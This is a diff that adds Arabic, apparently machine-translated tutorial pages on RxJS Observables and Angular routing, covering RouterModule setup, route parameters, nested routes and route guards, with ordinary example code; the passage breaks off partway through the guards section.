+`json.service.ts` يخلق `Observable` نيابة عن `component.example.ts` . يجوز للمكون الاشتراك في `Observable` إرجاعه. تنبعث قيمة واحدة فقط في الوقت الذي يقوم فيه `Observable` بحل تدفق البيانات.
+
+يعطي طلب `jsonplaceholder.typicode.com` مجموعة واحدة من 100 مشاركة. الطلب عبر `HttpClient` ينتج عنه `Observable` . المشغل `switchMap` يعود آخر `Observable` التي الكتابة فوق مجرى الحالي. يقوم `trim$` المتغير `trim$` بتخزين `Observable` كقيمة. إن إرفاق `$` بمتغير يستخدم في تخزين S `Observable` هو إتفاقية.
+
+`from` تحويل مجموعة من `jsonplaceholder.typicode.com` إلى 100 القيمة التي ينبعث منها `Observable` . ثم تقوم عوامل RxJS بالبحث في كل جزء من البيانات في الدفق. إنها تزيل قيم الدفق غير ذات الصلة بالطلب. يحدث تشذيب البيانات بحيث تبقى قيم الدفق مائلة للمعلومات غير الضرورية. تنضم النتائج النهائية مرة أخرى كمجموعة واحدة تنبعث منها واحدة إلى مراقبيها.
+
+في `component.example.ts` ، وJsonService يحيل الى طريقة إعادة وصفه للتو، `Observable` . تستدعي هذه الطريقة النقر على زر في قالب المكون. يوفر مربع الإدخال أيضًا في القالب وسيطة `id` واحدة.
+
+مع الضغط على زر، JsonService بإرجاع `Observable` التي تنبعث من مجموعة واحدة. `.subscribe` يستدعي على إرجاع `Observable` . يقوم المكون بعد ذلك بتعيين قيمة `userPosts` مساوية `userPosts` .
+
+يتتبع اكتشاف التباقي الزاوي التغيير في بيانات الصف. تضمن تحديثات القالب و `*ngFor` أن كل عنصر صفيف من `userPosts` يعرض عنصر القالب الخاص به.
+
+#### استنتاج
+
+يوفر RxJS جوهر `Observable` على طول معهم. يتم تثبيت المكتبة تلقائيًا من سطر الأوامر باستخدام `ng new [name-of-app]` (Angular CLI). يتم تنزيل أنواع RxJS الأساسية ومشغليها إلى `rxjs` و `rxjs/operators` على التوالي.
+
+حتى إذا كنت لا تستخدم CLI ، فإن خدمات مثل `HttpClient` لا تزال قابلة للاستخدام. خدمة بإرجاع `Promise` بدلا من `Observable` إذا RxJS غير متوفر. الكائن `Promise` هو الأصلي إلى JavaScript بخلاف `Observable` . من المحتمل أن يتغير هذا في الإصدار الرسمي التالي من جافا سكريبت.
+
+ومع ذلك ، الاستفادة الكاملة من RxJS! أي هيكل يمكن إستيعابه يمكن أن يستوعب `Observable` . مع ذلك ، تصبح مكتبة RxJS بأكملها قابلة للاستخدام. مشغليها تحويل البيانات بكفاءة من تيار إلى نتائج. بالإضافة إلى ذلك ، يمكن للمراقبين الاشتراك في النتائج ، وزيادة قابلية البيانات بشكل عام.
+
+## مصادر
+
+*   [فريق الزاوي. "مكتبة RxJS". _جوجل_ . تم الوصول إليه في 5 يونيو 2018.](https://angular.io/guide/rx-library)
+*   [فوربس ، إليوت. "إنشاء تطبيق في الوقت الفعلي باستخدام برنامج Angular and Socket.io التعليمي". _البرنامج التعليمي Egege.net_ ، 10 يناير 2017. تم الوصول إليه في 5 يونيو 2018.](https://tutorialedge.net/typescript/angular/angular-socket-io-tutorial)
+*   [فريق RxJS. "وثائق RxJS". _RxJS_ . تم الوصول إليه في 5 يونيو 2018.](https://rxjs-dev.firebaseapp.com)
+*   [سوكال ، ريان. "الفرق بين Rxjs الموضوع والملاحظ". _البرنامج التعليمي Horizon_ ، 23 مارس 2017. تم الوصول إليه في 5 يونيو 2018.](https://javascript.tutorialhorizon.com/2017/03/23/rxjs-subject-vs-observable)
+*   [مجتمع ويكيبيديا. "البرمجة التفاعلية". _ويكيبيديا_ ، 2 يونيو 2018. تم الوصول إليها في 5 يونيو 2018.](https://en.wikipedia.org/wiki/Reactive_programming)
+
+## مصادر
+
+*   [وثائق الزاوي](https://angular.io/guide)
+*   [الزاوي على جيثب](https://github.com/angular/angular)
+*   [الزاوي CLI](https://cli.angular.io)
+*   [RxJS والزاوي](https://angular.io/guide/rx-library)
+*   [برمجة رد الفعل](https://en.wikipedia.org/wiki/Reactive_programming)
+*   [الإضافات التفاعلية لجافا سكريبت](https://rxjs-dev.firebaseapp.com)
\ No newline at end of file
diff --git a/client/src/guide/arabic/angular/routing/index.md b/client/src/guide/arabic/angular/routing/index.md
new file mode 100644
index 0000000000..fee663d731
--- /dev/null
+++ b/client/src/guide/arabic/angular/routing/index.md
@@ -0,0 +1,650 @@
+---
+title: Routing
+localeTitle: التوجيه
+---
+# التوجيه
+
+#### التحفيز
+
+التوجيه أمر ضروري. تستضيف العديد من تطبيقات الويب الحديثة الكثير من المعلومات لصفحة واحدة. يجب ألا يضطر المستخدمون إلى التمرير عبر محتوى التطبيق بأكمله أيضًا. يحتاج التطبيق إلى تقسيم نفسه إلى أقسام مميزة.
+
+يقوم المستخدمون بتحديد أولويات المعلومات الضرورية. يساعدهم التوجيه في العثور على قسم التطبيق بهذه المعلومات. قد توجد أية معلومات أخرى مفيدة للمستخدمين الآخرين على مسار منفصل تمامًا. مع التوجيه ، يمكن لكل المستخدمين العثور على ما يحتاجون إليه بسرعة. تبقى التفاصيل غير ذات الصلة محجوبة خلف طرق غير ملائمة.
+
+يتفوق التوجيه في فرز وتقييد الوصول إلى بيانات التطبيق. يجب عدم عرض البيانات الحساسة أبدًا للمستخدمين غير المصرح لهم. بين كل طريق قد يتدخل التطبيق. يمكن فحص جلسة المستخدم لأغراض المصادقة. يحدد هذا الفحص ما يعرضه المسار إذا كان يجب تقديمه على الإطلاق. يوفر التوجيه للمطورين فرصة مثالية للتحقق من المستخدم قبل المتابعة.
+
+إن إنشاء قائمة من المسارات يعزز التنظيم أيضًا. من حيث التنمية ، فإنه يحافظ على التفكير المطور في أقسام مميزة. يستفيد المستخدمون أيضًا من هذا ، ولكن المطورين الأكثر تقدمًا عند التنقل في شفرة التطبيق. ترسم قائمة أجهزة التوجيه المبرمجة نموذجًا دقيقًا للواجهة الأمامية للتطبيق.
+
+بالنسبة إلى Angular ، يأخذ التوجيه الخاص به مكتبته بأكملها في إطار العمل. تدعم جميع إطارات الواجهة الأمامية الحديثة التوجيه ، ولا تختلف Angular عن غيرها. يحدث التوجيه من جانب العميل باستخدام إما التجزئة أو توجيه الموقع. يسمح كلا الأنماط للعميل بإدارة المسارات الخاصة به. لا توجد مساعدة إضافية من الخادم ضرورية بعد الطلب الأولي.
+
+ونادرًا ما يتم تحديث متصفح الويب باستخدام التوجيه من جانب العميل. لا تزال أدوات مساعدة متصفح الويب مثل الإشارات المرجعية والسجل وشريط العناوين تعمل على الرغم من عدم التحديث. وهذا ما يجعل تجربة توجيه البقعة لا تفسد المتصفح. لا يعاد تحميل أي صفحة أكثر هياج أثناء التوجيه إلى صفحة مختلفة.
+
+يضيف الزاوي على طبقة من التجريد على التقنيات الأساسية المستخدمة للتوجيه. تعتزم هذه المقالة لشرح هذا التجريد. توجد إستراتيجيتان التوجيه في Angular: location path and hash. تركز هذه المقالة على استراتيجية موقع المسار منذ ذلك الخيار الافتراضي.
+
+بالإضافة إلى ذلك ، قد يؤدي موقع المسار إلى إهمال توجيه التجزئة بعد الإصدار الكامل من [Angular Universal](https://universal.angular.io) . وبغض النظر عن ذلك ، فإن الاستراتيجيتين متشابهة جدًا في التنفيذ. تعلم واحد يتعلم الآخر. حان الوقت للبدء!
+
+#### RouterModule Setup
+
+توجيه الأدوات المساعدة للتصدير باستخدام `RouterModule` متاح من `@angular/router` . وهو ليس جزءًا من المكتبة الأساسية حيث لا تتطلب جميع التطبيقات التوجيه. الطريقة الأكثر تقليدية لتقديم التوجيه هي [وحدة نمطية](https://angular.io/guide/feature-modules) خاصة بها.
+
+مع تزايد تعقيد الطريق ، فإن امتلاكه كوحدة خاصة به سيعزز من بساطة وحدة الجذر. ابقائه بسيط غبي دون المساومة على وظائف يشكل التصميم الجيد للوحدات.
+
+ `import { NgModule } from '@angular/core'; 
+ import { RouterModule, Routes } from '@angular/router'; 
+ 
+ import { AComponent } from '../../components/a/a.component'; 
+ import { BComponent } from '../../components/b/b.component'; 
+ 
+ // an array of soon-to-be routes! 
+ const routes: Routes = []; 
+ 
+ @NgModule({ 
+  imports: [ RouterModule.forRoot(routes) ], 
+  exports: [ RouterModule ] 
+ }) 
+ export class AppRoutingModule { } 
+` 
+
+`.forRoot(...)` هي وظيفة فئة متوفرة من فئة RouterModule. تقبل وظيفة مجموعة من `Route` الكائنات في `Routes` . `.forRoot(...)` بتكوين `.forRoot(...)` - تحميل أثناء به البديلة `.forChild(...)` لتكوين التحميل البطيئة.
+
+تحميل حريصة يعني أن تحميل المسارات محتواها في التطبيق من الحصول على الذهاب. التحميل الزائف يحدث عند الطلب. محور هذه المقالة هو تحميل حريصة. هذا هو النهج الافتراضي للتحميل في تطبيق. يبدو تعريف فئة RouterModule شيئًا مثل كتلة التعليمة البرمجية التالية.
+
+ `@NgModule({ 
+  // … lots of metadata ... 
+ }) 
+ export class RouterModule { 
+  forRoot(routes: Routes) { 
+    // … configuration for eagerly loaded routes … 
+  } 
+ 
+  forChild(routes: Routes) { 
+    // … configuration for lazily loaded routes … 
+  } 
+ } 
+` 
+
+لا تقلق بشأن تفاصيل التكوين التي يغفلها المثال مع التعليقات. وجود فهم عام سيفعل في الوقت الحالي.
+
+لاحظ كيف تقوم AppRoutingModule باستيراد RouterModule أثناء تصديرها أيضًا. هذا من المنطقي نظرا AppRoutingModule هو وحدة ميزة. انها تستورد في وحدة الجذر باعتبارها وحدة نمطية. فإنه يكشف توجيهات RouterModule ، واجهات ، والخدمات إلى شجرة مكون الجذر.
+
+هذا يفسر لماذا يجب على AppRoutingModule تصدير RouterModule. يفعل ذلك من أجل شجرة المكونات الأساسية في وحدة الجذر. يحتاج الوصول إلى تلك المرافق التوجيه!
+
+ `import { BrowserModule } from '@angular/platform-browser'; 
+ import { NgModule } from '@angular/core'; 
+ 
+ import { AppComponent } from './app.component'; 
+ import { AComponent } from './components/a/a.component'; 
+ import { BComponent } from './components/b/b.component'; 
+ import { AppRoutingModule } from './modules/app-routing/app-routing.module'; 
+ 
+ @NgModule({ 
+  declarations: [ 
+    AppComponent, 
+    AComponent, 
+    BComponent 
+  ], 
+  imports: [ 
+    AppRoutingModule, // routing feature module 
+    BrowserModule 
+  ], 
+  providers: [], 
+  bootstrap: [ AppComponent ] 
+ }) 
+ export class AppModule { } 
+` 
+
+الواردات الرمز المميز AppRoutingModule من الأعلى. إدراج رمزي في صفيف واردات وحدة الجذر. قد تستخدم شجرة مكون الجذر الآن مكتبة RouterModule. يتضمن ذلك توجيهاته واجهاته وخدماته كما سبق ذكره. شكرا جزيلا ل AppRoutingModule لتصدير RouterModule!
+
+وستكون أدوات RouterModule مفيدة لمكونات الجذر. يستخدم HTML الأساسي لـ AppComponent من توجيه واحد: `router-outlet` .
+
+ `
+<!-- app.component.html --> 
+ 
+ <ul> 
+  <!-- routerLink(s) here --> 
+ </ul> 
+ <router-outlet></router-outlet> 
+ <!-- routed content appends here (AFTER THE ELEMENT, NOT IN IT!) --> 
+` 
+
+`routerLink` عبارة عن توجيه سمة من سمات RouterModule. سيتم إرفاقه بكل عنصر من عناصر `<ul></ul>` بمجرد إعداد المسارات. `router-outlet` عبارة عن توجيه مكون ذو سلوك مثير للاهتمام. يعمل أكثر كمؤشر لعرض المحتوى الموجه. نتائج المحتوى الموجه من التنقل إلى مسار معين. عادةً ما يعني ذلك مكونًا واحدًا تم تكوينه في AppRoutingModule
+
+يتم عرض المحتوى الموجّه مباشرةً بعد `<router-outlet></router-outlet>` . لا شيء يدخل في داخله. هذا لا يجعل الكثير من فرق كبير. ومع ذلك ، لا تتوقع أن يتصرف `router-outlet` مثل حاوية للمحتوى الموجه. إنه مجرد علامة لإلحاق محتوى موجه إلى نموذج كائن المستند (DOM).
+
+#### التوجيه الأساسي
+
+يحدد القسم السابق الإعداد الأساسي للتوجيه. قبل أن يحدث التوجيه الفعلي ، يجب معالجة بعض الأمور الأخرى
+
+السؤال الأول الذي يجب معالجته هو ما هي الطرق التي سيستهلكها هذا التطبيق؟ حسنا ، هناك نوعان من المكونات: AComponent و BComponent. يجب أن يكون لكل واحد طريقه الخاص. يمكنهم تقديمها من منفذ `router-outlet` في AppComponent اعتمادًا على موقع المسار الحالي.
+
+يحدد موقع المسار (أو المسار) ما يتم إلحاقه [بأصل موقع الويب](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Origin) (على سبيل المثال http: // localhost: 4200) من خلال سلسلة من المائلة ( `/` ).
+
+ `// … same imports from before … 
+ 
+ const routes: Routes = [ 
+  { 
+    path: 'A', 
+    component: AComponent 
+  }, 
+  { 
+    path: 'B', 
+    component: BComponent 
+  } 
+ ]; 
+ 
+ @NgModule({ 
+  imports: [ RouterModule.forRoot(routes) ], 
+  exports: [ RouterModule ] 
+ }) 
+ export class AppRoutingModule { } 
+` 
+
+`http://localhost:4200/A` يجعل AComponent من منفذ `router-outlet` الخاص بـ AppComponent. `http://localhost:4200/B` renders BComponent. تحتاج إلى وسيلة لتوجيه إلى هذه المواقع دون استخدام شريط العنوان. يجب ألا يعتمد التطبيق على شريط عناوين متصفح الإنترنت للتنقل.
+
+_يكمل CSS العالمي (أوراق الأنماط المتتالية) HTML أسفله. يجب أن يكون رابط جهاز التوجيه في التطبيق مظهرًا رائعًا. ينطبق هذا CSS على جميع الأمثلة الأخرى أيضًا._
+
+ `/* global styles.css */ 
+ 
+ ul li { 
+  cursor: pointer; 
+  display: inline-block; 
+  padding: 20px; 
+  margin: 5px; 
+  background-color: whitesmoke; 
+  border-radius: 5px; 
+  border: 1px solid black; 
+ } 
+ 
+ ul li:hover { 
+  background-color: lightgrey; 
+ } 
+` 
+
+ `
+<!-- app.component.html --> 
+ 
+ <ul> 
+  <li routerLink="/A">Go to A!</li> 
+  <li routerLink="/B">Go to B!</li> 
+ </ul> 
+ <router-outlet></router-outlet> 
+` 
+
+هذا هو التوجيه الأساسي! يؤدي النقر فوق أي من مسارات routerLink إلى توجيه عنوان الويب. يعيد تعيينه دون تحديث متصفح الويب. يقوم `Router` Angular بتحديد خرائط العنوان الموجه إلى `Routes` تكوينها في AppRoutingModule. يطابق العنوان إلى `path` ممتلكات واحد `Route` الكائن ضمن مجموعة. دائمًا ما تفوز المباراة الأولى ، لذا يجب أن تكون جميع المسارات المطابقة تقع في نهاية صفيف `Routes` .
+
+تمنع جميع المسارات المتوافقة التطبيق من التعطل إذا تعذر مطابقة المسار الحالي. يمكن أن يحدث هذا من شريط العنوان حيث قد يكتب المستخدم في أي مسار. لهذا ، يوفر Angular قيمة مسار حرف البدل `**` التي تقبل جميع المسارات. يعرض هذا المسار عادةً مكون PageNotFoundComponent الذي يعرض "خطأ 404: الصفحة غير موجودة".
+
+ `// … PageNotFoundComponent imported along with everything else … 
+ 
+ const routes: Routes = [ 
+  { 
+    path: 'A', 
+    component: AComponent 
+  }, 
+  { 
+    path: 'B', 
+    component: BComponent 
+  }, 
+  { 
+    path: '', 
+    redirectTo: 'A', 
+    pathMatch: 'full' 
+  }, 
+  { 
+    path: '**', 
+    component: PageNotFoundComponent 
+  } 
+ ]; 
+` 
+
+في `Route` الكائن الذي يحتوي `redirectTo` يحافظ على PageNotFoundComponent من تقديم نتيجة `http://localhost:4200` . هذا هو الطريق الرئيسية للتطبيقات. لإصلاح هذا ، `redirectTo` توجيه المسار الرئيسي إلى `http://localhost:4200/A` `http://localhost:4200/A` يصبح بطريقة `http://localhost:4200/A` مباشرة مسار المنزل الجديد للتطبيق.
+
+يشير `pathMatch: 'full'` إلى كائن `Route` لمطابقة المسار الرئيسي ( `http://localhost:4200` ). يطابق المسار الفارغ.
+
+هذان الجديدة `Route` الأشياء تذهب في نهاية المصفوفة منذ يفوز المباراة الأولى. دائمًا ما يتطابق عنصر الصفيف الأخير ( `path: '**'` ) ، حتى يتحول إلى آخر.
+
+هناك شيء آخر يستحق العناء قبل الانتقال. كيف يعرف المستخدم مكان تواجده في التطبيق بالنسبة إلى المسار الحالي؟ بالتأكيد قد يكون هناك محتوى محدد للطريق ، ولكن كيف يفترض أن يقوم المستخدم بإجراء ذلك الاتصال؟ يجب أن يكون هناك شكل من أشكال التمييز المطبّق على موجِّه التوجيه. بهذه الطريقة ، سيعرف المستخدم أي مسار نشط لصفحة الويب المحددة.
+
+هذا اصلاحه سهل. عند النقر فوق عنصر `routerLink` ، يعين `Router` في Angular _التركيز_ عليه. يمكن أن يؤدي هذا التركيز إلى تشغيل أنماط معينة توفر ملاحظات مفيدة للمستخدم. يمكن لتوجيه `routerLinkActive` تتبع هذا التركيز للمطور.
+
+ `
+<!-- app.component.html --> 
+ 
+ <ul> 
+  <li routerLink="/A" routerLinkActive="active">Go to A!</li> 
+  <li routerLink="/B" routerLinkActive="active">Go to B!</li> 
+ </ul> 
+ <router-outlet></router-outlet> 
+` 
+
+يمثل التعيين الصحيح لـ `routerLinkActive` سلسلة من الفئات. يصور هذا المثال فئة واحدة فقط (. `.active` ) ، ولكن قد يتم تطبيق أي عدد من الفئات المفصول `.active` . عندما يعين `Router` _التركيز_ على routerLink ، يتم تطبيق الفئات المحددة بفراغات على عنصر المضيف. عندما ينتقل التركيز بعيدًا ، تتم إزالة الفئات تلقائيًا.
+
+ `/* global styles.css */ 
+ 
+ .active { 
+  background-color: lightgrey !important; 
+ } 
+` 
+
+يمكن للمستخدمين الآن التعرف بسهولة على كيفية تطابق المسار الحالي ومحتوى الصفحة. تسليط الضوء على `lightgrey` ينطبق على routerLink مطابقة الطريق الحالي. يضمن `!important` تجاوز التمييز stylings مضمنة.
+
+#### طرق معتبرة
+
+لا يجب أن تكون المسارات مشفرة بالكامل. يمكن أن تحتوي على متغيرات ديناميكية قابلة للإحاطة من المكون المقابل لكائن `Route` . يتم تعريف هذه المتغيرات كمعلمات عند كتابة مسار المسار.
+
+تكون معلمات المسار اختيارية أو إلزامية لمطابقة `Route` معين. يعتمد ذلك على كيفية كتابة المسار لمعلماته. توجد إستراتيجيتان: المصفوفة والمعاملة التقليدية.
+
+تبدأ المعلمات التقليدية من صفيف `Routes` المكوّنة في AppRoutingModule.
+
+ `const routes: Routes = [ 
+  // … other routes … 
+  { 
+    path: 'B', 
+    component: BComponent 
+  }, 
+  { 
+    path: 'B/:parameter', 
+    component: BComponent 
+  }, 
+  // … other routes … 
+ ]; 
+` 
+
+التركيز على مسارين BComponent. ستحدث المعلمة في نهاية المطاف في كلا الطريقين.
+
+تحدث المعلمات التقليدية في `Route` BComponent الثاني. `B/:parameter` تحتوي على `parameter` المعلمة كما هو مبين مع `:` . أيا كان ما يلي النقطتين علامة اسم المعلمة. `parameter` المعلمة ضرورية من أجل `Route` BComponent الثاني لمطابقة.
+
+يقرأ `parameter` في قيمة كل ما يمر في الطريق. التوجيه إلى `http://localhost:4200/B/randomValue` سيعين `parameter` قيمة `randomValue` . يمكن أن تتضمن هذه القيمة أي شيء بجانب آخر `/` . على سبيل المثال ، لن يقوم `http://localhost:4200/B/randomValue/blahBlah` بتشغيل `Route` BComponent الثاني. يعرض PageNotFoundComponent بدلاً من ذلك.
+
+يمكن BComponent مرجع معلمات التوجيه من فئة المكون الخاص به. كل من النهج إلى المعلمات (مصفوفة والتقليدية) تعطي النتائج نفسها في BComponent. قبل رؤية BComponent ، افحص شكل مصفوفة المعلمات أدناه.
+
+ `// app.component.ts 
+ 
+ import { Component } from '@angular/core'; 
+ import { Router } from '@angular/router'; 
+ 
+ @Component({ 
+  selector: 'app-root', 
+  templateUrl: './app.component.html' 
+ }) 
+ export class AppComponent { 
+  constructor(private router: Router) { } 
+ 
+  routeMatrixParam(value: string) { 
+    if (value) 
+      this.router.navigate(['B', { parameter: value }]); // matrix parameter 
+    else 
+      this.router.navigate(['B']); 
+  } 
+ 
+  routeAddressParam(value: string) { 
+    this.router.navigate(['B', value]); 
+  } 
+ } 
+` 
+
+يوفر نظام حقن التبعية في Angular إمكانية إنشاء مثيل لجهاز `Router` . يتيح هذا المكون برمجيًا التوجيه. تقبل الدالة `.navigate(...)` صفيف من القيم التي يتم `.navigate(...)` إلى مسار _قابل للتوجيه_ . شيء من هذا القبيل `.navigate(['path', 'to', 'something'])` يحل إلى `http://localhost:4200/path/to/something` . `.navigate(...)` يضيف علامات `/` مسارات المسار عند تطبيع الصفيف في مسار _قابل للتوجيه_ .
+
+يحدث النموذج الثاني من parameterization في `routeMatrixParam(...)` . انظر هذا السطر من الكود: `this.router.navigate(['B', { parameter: value }])` . هذا الشكل من `parameter` هو معلمة مصفوفة. قيمتها اختيارية لأول BComponent `Route` لمباراة ( `/B` ). يطابق `Route` بغض النظر عن وجود المعلمة في المسار.
+
+`routeAddressParam(...)` يطابق `http://localhost:4200/B/randomValue` parameterization `http://localhost:4200/B/randomValue` . تحتاج هذه الإستراتيجية التقليدية إلى معلمة تتطابق مع مسار BComponent الثاني ( `B/:parameter` ).
+
+تتعلق استراتيجية المصفوفة بـ `routeMatrixParam(...)` . مع أو بدون معلمة مصفوفة في المسار الخاص به ، لا يزال يطابق مسار BComponent الأول. تمرير `parameter` المعلمة إلى BComponent تماماً مثل الطريقة التقليدية.
+
+لإضفاء فهم كامل على الشفرة الواردة أعلاه ، إليك شفرة HTML المقابلة للنموذج.
+
+ `
+// app.component.html 
+ 
+ <ul> 
+  <li routerLink="/A">Go to A!</li> 
+  <li> 
+    <input #matrixInput> 
+    <button (click)="routeMatrixParam(matrixInput.value)">Matrix!</button> 
+  </li> 
+  <li> 
+    <input #paramInput> 
+    <button (click)="routeAddressParam(paramInput.value)">Param!</button> 
+  </li> 
+ </ul> 
+ <router-outlet></router-outlet> 
+` 
+
+في القالب ، يتم قبول القيم كمدخل نصي. يقوم الإدخال بحقنها في مسار المسار كمعلمة. توجد مجموعتان منفصلتان من الصناديق لكل إستراتيجية معلمات (تقليدية ومصفوفة). مع كافة القطع معاً ، فقد حان الوقت لفحص فئة مكون BComponent.
+
+ ``// b.component.ts 
+ 
+ import { Component, OnInit } from '@angular/core'; 
+ import { ActivatedRoute, ParamMap } from '@angular/router'; 
+ 
+ @Component({ 
+  selector: 'app-b', 
+  template: ` 
+  <p>Route param: {{ currParam }}</p> 
+  ` 
+ }) 
+ export class BComponent implements OnInit { 
+  currParam: string = ""; 
+ 
+  constructor(private route: ActivatedRoute) { } 
+ 
+  ngOnInit() { 
+    this.route.params.subscribe((param: ParamMap) => { 
+      this.currParam = param['parameter']; 
+    }); 
+  } 
+ } 
+`` 
+
+نتائج BComponent من أي من مسارين BComponent في AppRoutingModule. `ActivatedRoute` instantiates في مجموعة من المعلومات المفيدة المتعلقة بالطريق الحالي. هذا هو المسار الذي تسبب في جعل BComponent. `ActivatedRoute` عبر حقن التبعية التي تستهدف مُنشئ الصف.
+
+حقل `.params` الخاص بـ `ActivatedRoute.params` بإرجاع `Observable` الذي يقوم بإصدار معلمات المسار. لاحظ كيف أن نهجين المعلمات المختلفين ينتجان `parameter` المعلمة. عاد `Observable` تنبعث بأنها زوج قيمة المفتاح-من داخل `ParamMap` الكائن.
+
+بين نهج المعايير والثوابت، وهما `parameter` المعلمة حل مماثل. تنبعث القيمة من `ActivatedRoute.params` على الرغم من النهج الخاص بالمعلمة.
+
+يميز شريط العناوين النتائج النهائية لكل أسلوب. تعطي معلمات المصفوفة (اختياري لمطابقة `Route` ) العنوان: `http://localhost:4200/B;parameter=randomValue` . تعطي المعلمات التقليدية (المطلوبة لمطابقة `Route` ): `http://localhost:4200/B/randomValue` .
+
+وفي كلتا الحالتين ، نفس النتائج BComponent. الفارق الفعلي: مختلف مباريات BComponent `Route` . هذا يعتمد كليا على استراتيجية المعلمات. يضمن نهج المصفوفة المعلمات اختيارية لمطابقة `Route` . النهج التقليدي يتطلب منهم.
+
+#### المسارات المتداخلة
+
+قد تشكل `Routes` تسلسلاً هرمياً. في DOM ، ينطوي ذلك على `router-outlet` أحد الوالدين `router-outlet` `router-outlet` واحد على الأقل. في شريط العنوان ، يبدو كالتالي: `http://localhost/parentRoutes/childRoutes` . في تكوين `Routes` ، تشير الخاصية `children: []` إلى كائن `Route` أنه يحتوي على مسارات متداخلة (فرعية).
+
+ `import { NgModule } from '@angular/core'; 
+ import { RouterModule, Routes } from '@angular/router'; 
+ 
+ import { NestComponent } from '../../components/nest/nest.component'; 
+ import { AComponent } from '../../components/nest/a/a.component'; 
+ import { BComponent } from '../../components/nest/b/b.component'; 
+ 
+ const routes: Routes = [ 
+  { 
+    path: 'nest', 
+    component: NestComponent, 
+    children: [ 
+      { path: 'A', component: AComponent }, 
+      { path: 'B', component: BComponent } 
+    ] 
+  } 
+ ]; 
+ 
+ @NgModule({ 
+  imports: [ RouterModule.forRoot(routes) ], 
+  exports: [ RouterModule ] 
+ }) 
+ export class AppRoutingModule { } 
+` 
+
+ ``// nest.component.ts 
+ 
+ import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-nest', 
+  template: ` 
+  <ul> 
+    <li routerLink="./A">Go to A!</li> 
+    <li routerLink="./B">Go to B!</li> 
+  </ul> 
+  <router-outlet></router-outlet> 
+  ` 
+ }) 
+ export class NestComponent { } 
+`` 
+
+يعرض NestComponent `router-outlet` بعد تقديم نفسه من `router-outlet` آخر مستوى الجذر في AppComponent. قد يتم عرض `router-outlet` الخاص بقالب NestComponent إما AComponent ( `/nest/A` ) أو BComponent ( `/nest/B` ).
+
+يعكس هذا AppRoutingModule تعشش في NestComponent في `Route` الكائن. يحتوي الحقل `children: []` على صفيف من كائنات `Route` . هذه `Route` الكائن يجوز أيضا طرق عش في هم `children: []` المجالات. يمكن أن يستمر هذا مع العديد من طبقات المسارات المتداخلة. يوضح المثال أعلاه طبقتين من التعشيش.
+
+يحتوي كل `routerLink` على `./` مقارنة بـ `/` . ال `.` يضمن أن يلحق routerLink بمسار المسار. يستبدل routerLink تمامًا المسار بطريقة أخرى. بعد التوجيه إلى `/nest` ، `.` يتوسع في `/nest` .
+
+يفيد ذلك في التوجيه إلى `/nest/A` أو `/nest/B` من مسار `.nest` . تشكل `A` و `B` المسارات المتداخلة `/nest` . التوجيه إلى `/A` أو `/B` إرجاع PageNotFound. `/nest` يجب أن تذييل المسارين.
+
+إلقاء نظرة على AppComponent التي تحتوي على `router-outlet` مستوى الجذر في القالب الخاص به. AppComponent هي الطبقة الأولى من التعشيش بينما NestComponent هي الثانية.
+
+ ``import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-root', 
+  template: ` 
+  <ul> 
+    <li routerLink="/nest">Go to nested routes!</li> 
+    <li routerLink="/">Back out of the nested routes!</li> 
+  </ul> 
+  <router-outlet></router-outlet> 
+  ` 
+ }) 
+ export class AppComponent { } 
+`` 
+
+داخل كائن `Route` العش ، `children: []` يحتوي على مسارين متداخلين. ينتجون في AComponent و BComponent عند التوجيه من `/nest` كما تمت مناقشته مسبقًا. هذه المكونات بسيطة جدا من أجل العرض. `<li routerLink="/">...</li>` يتيح لك التنقل من مسارات العش لإعادة تعيين المثال عن طريق الانتقال إلى المسار الرئيسي.
+
+ ``import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-a', 
+  template: ` 
+  <p>a works!</p> 
+  ` 
+ }) 
+ export class AComponent { } 
+`` 
+
+ ``import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-b', 
+  template: ` 
+  <p>b works!</p> 
+  ` 
+ }) 
+ export class BComponent { } 
+`` 
+
+`children: []` تقبل `children: []` المصفوفة عنصر `Route` كعناصر. `children: []` يمكن أن تنطبق على أي من هذه العناصر كذلك. يمكن لأطفال هذه العناصر الاستمرار في التعشيش. قد يستمر هذا النمط مع العديد من طبقات التعشيش. قم `router-outlet` في القالب لكل طبقة من التوجيه المتداخل.
+
+تطبيق تقنيات التوجيه بغض النظر عن `Route` مستوى الكائن التعشيش. تقنيات المعلمات تختلف في جانب واحد فقط. يمكن لطرق الأطفال الوصول إلى معلمات الوالدين فقط عبر `ActivatedRoute.parent.params` . تستهدف `ActivatedRoute.params` نفس المستوى من المسارات المتداخلة. هذا يستثني المسارات على مستوى الوالدين ومعلماتها.
+
+حراس `Route` مناسبون بشكل خاص للتوجيه المتداخل. يمكن أن `Route` كائن `Route` واحد الوصول إلى جميع مساراتها المتداخلة (الفرعية).
+
+#### طرق حراسة
+
+غالبًا ما تتكون تطبيقات الويب من بيانات عامة وخاصة. يميل كلا النوعين من البيانات إلى أن يكون لهما صفحات خاصة بهما مع طرق _حراسة_ . هذه المسارات تسمح / تقييد الوصول اعتمادا على امتيازات المستخدم. قد يتفاعل المستخدمون غير المصرح لهم مع مسار حذر. يجب أن يمنع المسار المستخدم إذا حاول الوصول إلى محتواه الموجّه.
+
+يوفر Angular حزمة من حراس المصادقة التي يمكن إرفاقها بأي مسار. يتم تشغيل هذه الطرق تلقائيًا اعتمادًا على كيفية تفاعل المستخدم مع المسار المحمي.
+
+*   `canActivate(...)` - حرائق عندما يحاول المستخدم الوصول إلى الطريق
+    
+*   `canActivateChild(...)` - حرائق عندما يحاول المستخدم الوصول إلى المسارات المتداخلة (التابعة) `canActivateChild(...)`
+    
+*   `canDeactivate(...)` - حرائق عندما يحاول المستخدم ترك الطريق
+    
+
+تتوفر طرق الحراسة في Angular من `@angular/router` . لمساعدتهم على المصادقة ، يمكنهم اختيار بعض المعلمات بشكل اختياري. هذه المعلمات لا يحقن عن طريق حقن التبعية. تحت غطاء محرك السيارة ، يتم تمرير كل قيمة كوسيطة لأسلوب الحارس المستدعي.
+
+*   `ActivatedRouteSnapshot` - متاح لجميع الثلاثة
+    
+*   `RouterStateSnapshot` - متاح لجميع الثلاثة
+    
+*   `Component` - متاح لل `canDeactivate(...)`
+    
+
